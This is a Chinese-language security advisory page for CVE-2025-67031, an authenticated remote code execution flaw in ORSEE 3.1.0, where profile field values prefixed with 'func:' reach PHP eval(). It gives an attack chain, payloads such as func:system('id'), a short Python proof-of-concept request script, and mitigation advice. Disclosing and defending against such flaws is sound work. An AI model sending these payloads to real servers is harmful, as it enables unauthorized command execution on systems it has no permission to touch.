IPBUF安全漏洞报告
English
CVE-2025-67031 CVSS 6.3 中危

CVE-2025-67031 ORSEE远程代码执行漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2025-67031
漏洞类型
远程代码执行 (RCE)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ORSEE (Online Recruitment System for Economic Experiments)

相关标签

RCEORSEECVE-2025-67031代码执行Web安全Eval注入

漏洞概述

ORSEE 3.1.0版本存在一个认证远程代码执行漏洞。在参与者资料字段处理子系统中,特定字段配置接受以“func:”为前缀的值。这些值未经充分过滤即被传入tagsets/participant.php和tagsets/options.php文件中的eval()函数执行。攻击者需经过身份验证,利用低权限即可在服务器上执行任意代码,影响系统的机密性、完整性和可用性。

技术细节

该漏洞源于ORSEE在处理参与者资料字段时的不安全代码执行机制。在tagsets/participant.php和tagsets/options.php文件中,系统直接将用户输入的特定字段值(以“func:”开头)作为参数传递给PHP的eval()函数。由于缺乏严格的输入验证和沙箱隔离,攻击者可以构造恶意的Payload,利用“func:”前缀绕过部分限制,从而在服务器端执行任意系统命令或PHP代码。攻击者需要具备有效的账户凭证(低权限用户)才能触发该漏洞。

攻击链分析

STEP 1
侦察
识别目标系统为ORSEE 3.1.0,并确认存在参与者资料编辑功能。
STEP 2
初始访问
注册或获取一个有效的低权限账户,完成身份验证。
STEP 3
漏洞利用
在编辑参与者资料时,找到接受特殊前缀的字段,输入以"func:"开头的恶意Payload(如func:system('whoami'))。
STEP 4
代码执行
服务器端脚本将Payload传入eval()函数执行,导致攻击者在服务器上运行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2025-67031 # Target: ORSEE 3.1.0 import requests login_url = "http://target-site/public/login.php" update_url = "http://target-site/participant_profile.php" session = requests.Session() # 1. Login as low-privileged user creds = {'user': 'testuser', 'pass': 'password'} session.post(login_url, data=creds) # 2. Exploit the 'func:' prefix in profile field # The input 'func:system("id")' is passed to eval() payload = "func:system('id');" data = { 'vulnerable_field_name': payload, 'submit': 'Save' } response = session.post(update_url, data=data) if response.status_code == 200: print("Payload sent. Check server response or logs for execution.")

影响范围

ORSEE 3.1.0

防御指南

临时缓解措施
建议立即审查并修改tagsets/participant.php和tagsets/options.php文件,移除对不安全前缀的处理逻辑。在官方补丁发布前,可通过WAF规则拦截包含"func:"字符串的POST请求,并严格限制用户注册及资料修改权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表